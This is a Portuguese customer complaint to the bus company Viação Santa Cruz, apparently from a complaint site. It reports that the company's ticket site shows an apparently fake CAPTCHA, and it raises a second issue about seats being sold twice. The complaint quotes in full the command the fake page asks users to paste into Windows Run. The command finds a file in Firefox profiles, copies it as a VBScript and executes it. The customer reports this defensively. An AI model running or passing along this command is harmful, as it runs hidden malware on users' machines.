O que aconteceu
São dois problemas - site invadido e lugares endo vendidos duplamente.
1. Hoje o tentar acessar o site de vocês para comprar uma passagem, identifiquei um comportamento bastante preocupante.
Com o AdBlock ativado, o botão de login direciona normalmente para:
https://passagens.viajesantacruz.com.br/login
Porém, ao desativar o AdBlock, a página apresenta um CAPTCHA aparentemente falso e orienta o usuário a executar uma sequência de comandos no Windows (Win + R, Ctrl + V e Enter).
O comando fornecido pela página é:
`cmd /c for /r "%LOCALAPPDATA%'Mozilla'Firefox'Profiles" %f in (f_*) do @if %~zf==22582 copy "%f" %TEMP%'t.vbs >nul 2 >nulwscript %TEMP%'t.vbs`
Esse comando aparentemente procura um arquivo específico dentro dos perfis do Firefox, copia o arquivo para a pasta temporária e o executa como VBScript. Trata-se de um comportamento extremamente suspeito e que pode colocar os usuários em risco.
Felizmente, não executei o comando. Apenas acessei a página e identifiquei o problema.
Solicito que a empresa verifique com urgência se o site ou algum script de terceiros utilizado por ele foi comprometido e informe os usuários caso exista algum risco de segurança.
2. Busquei em outros sites passagens e os lugares q queria ja estavam ocupados, Entrei no site da Santa Cruz para comprar diretamente por la e percebi que os lugares que estavam ja ocupados no outro site estavam livres no site da santa cruz! Isso pode dar erro de cruzamento de dados, pessoas diferentes podem acabar comprando o mesmo lugar!
Reclamações parecidas
4Interações da reclamação
Viação Santa Cruz respondeu
25/09/2026 às 15:43
Olá Jeannye
Agradecemos pelo contato e pelas informações encaminhadas! Reportamos a nossa equipe de tecnologia que atuou prontamente para verificação e solução do problema relatado.
Muito obrigada!
Atenciosamente,
Bruna Rinaldi Serain
Atendimento ao Cliente